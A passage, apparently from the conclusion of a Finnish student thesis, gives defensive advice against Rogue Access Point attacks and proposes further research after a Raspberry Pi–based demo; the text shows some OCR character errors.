lenkki on kayttaja itse. Tarkkaavaisuus ja huolellisuus ovat erinomaisia suojautumiskeinoja myos

Rogue Access Pointia vastaan. Kayttdjan on syyta olla varuillaan kaytettdessa avointa verkkoa ja
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esimerkiksi oman puhelimen Wi-Fi ominaisuus kannattaa kytkea pois paalta silloin, kuin sita ei tar-
vitse. Ndin puhelin ei etsi jatkuvasti saatavilla olevaa verkkoa. Vierailtaessa verkkosivuilla kannat-
taa kiinnittaa huomiota siihen, onko sivusto suojattu https:lla. Erityisesti yritysten tulee tehda jat-

kuvaa tyota oman tietoturvansa varmistamiseen ja parantamiseen.

Rogue Access Point olisi mahdollista toteuttaa usealla eri tavalla. My&s sen toimintaa olisi mielen-
kiintoista testata laajemmassa mittakaavassa, esimerkiksi oppilaitoksella, mutta tasta pitaisi tie-
tenkin sopia erikseen. Yksi vaihtoehto Rogue Access Pointin toteutukseen olisi ollut laajat ominai-
suudet omaava, "ammattikdyttoon” soveltuva, Wifi Pineapple, mutta sen kaytto ei ollut
mahdollista maksullisuuden vuoksi. Ndin ollen demon toteutukseen valittiin laitteiston osalta

Raspberry Pi, joka palveli tassa tarkoituksessa oikein hyvin.

Yksi idea jatkokehitysta ajattelen voisi olla tarkastella signaalin voimakkuuden, seka laitteiden sijoi-
tuksen vaikutuksia laajemmin. Signaalin voimakkuuden mahdollisia raja-arvoja voisi kokeilla maari-
telld tarkemmin. Myo6s Wiresharkin “monitor-moden” tutkiminen siihen soveltuvilla laitteilla an-

taisi arvokasta lisatietoa aiheeseen liittyen.
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